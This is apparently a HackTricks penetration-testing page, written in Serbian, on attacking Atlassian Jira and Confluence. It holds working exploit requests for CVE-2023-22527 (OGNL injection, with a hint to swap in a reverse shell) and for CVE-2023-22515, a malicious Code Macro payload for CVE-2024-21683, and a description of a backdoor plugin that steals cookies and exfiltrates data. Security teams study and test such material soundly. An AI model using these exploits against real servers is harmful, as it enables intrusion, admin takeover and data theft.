Jira & Confluence

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Provera privilegija

U Jira-i, privilegije se mogu proveriti od strane bilo kog korisnika, bilo da je autentifikovan ili ne, putem endpoint-ova /rest/api/2/mypermissions ili /rest/api/3/mypermissions. Ovi endpoint-ovi otkrivaju trenutne privilegije korisnika. Posebno je zabrinjavajuće kada neautentifikovani korisnici imaju privilegije, što ukazuje na bezbednosni propust koji bi potencijalno mogao biti podoban za bounty. Slično, neočekivane privilegije za autentifikovane korisnike takođe ukazuju na propust.

Važna izmena je uvedena 1. februara 2019., koja zahteva da ‘mypermissions’ endpoint uključuje ‘permission’ parameter. Ovaj zahtev ima za cilj da poboljša bezbednost tako što precizira privilegije koje se proveravaju: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Primer: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Automatizovana enumeracija

Nedavni RCE-i i praktične beleške o exploitima (Confluence)

CVE-2023-22527 – neautentifikovana šablon/OGNL injekcija (10.0)

  • Pogađa Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Ranljiv Velocity šablon text-inline.vm omogućava OGNL evaluaciju bez autentifikacije.
  • Brzi PoC (komanda se izvršava kao confluence korisnik):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Zaglavlje odgovora x-cmd će sadržati izlaz komande. Zamenite id sa reverse shell payload-om.
  • Skener: nuclei template http/cves/2023/CVE-2023-22527.yaml (dostupan u nuclei-templates ≥9.7.5).

CVE-2023-22515 – reaktivacija setup-a i kreiranje admin naloga (zaobilaženje autentikacije)

  • Javnosti dostupni Confluence Data Center/Server 8.0.0–8.5.1 dozvoljavaju promenu setupComplete i ponovno pokretanje /setup/setupadministrator.action radi kreiranja novog administratorskog naloga.
  • Minimalan tok exploita:
  1. GET /server-info.action (neautentifikovan) da se proveri dostupnost.
  2. POST /server-info.action sa buildNumber parametrima da se prebaci setup zastavica.
  3. POST /setup/setupadministrator.action sa fullName, email, username, password, confirm da se kreira administratorski nalog.

CVE-2024-21683 – autentifikovani RCE putem Code Macro upload-a

  • Confluence Admin može otpremiti crafted language definition u Configure Code Macro; Rhino engine izvršava ugrađeni Java kod, što vodi do RCE.
  • Za shell, otpremite .lang fajl koji sadrži payload kao:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Pokreće se izborom malicioznog jezika u okviru bilo kojeg Code Macro tela. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automatizuje auth + upload + exec.

Atlasian Plugins

Kao što je naznačeno u ovom blog, u dokumentaciji o Plugin modules ↗ moguće je pregledati različite tipove plugina, kao:

Ovo je primer Macro plugin tipa:

Primer Macro plugina ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Moguće je primetiti da ovi plugin-i mogu biti ranjivi na uobičajene web ranjivosti kao što je XSS. Na primer, prethodni primer je ranjiv zato što reflektuje podatke koje unese korisnik.

Kada se nađe XSS, u [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payloads koji povećavaju uticaj XSS-a.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje različite (maliciozne) akcije koje maliciozni Jira plugin može izvršiti. Možete pronaći [**code example in this repo**](https://github.com/cyllective/malfluence).

Ovo su neke od akcija koje maliciozni plugin može izvršiti:

- **Sakrivanje dodataka od admina**: Moguće je sakriti maliciozni plugin ubacivanjem front-end javascript-a
- **Eksfiltracija priloga i stranica**: Omogućava pristup i eksfiltraciju svih podataka.
- **Krađa session tokena**: Dodati endpoint koji će echo-ovati header-e u odgovoru (sa cookie) i neki javascript koji će ga kontaktirati i leak the cookies.
- **Izvršavanje komandi**: Naravno, moguće je kreirati plugin koji će izvršavati kod.
- **Reverse Shell**: Ili dobiti reverse shell.
- **DOM Proxying**: Ako je confluence unutar privatne mreže, bilo bi moguće uspostaviti konekciju preko browser-a nekog korisnika koji ima pristup njoj i, na primer, kontaktirati server izvršavajući komande preko njega.

## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>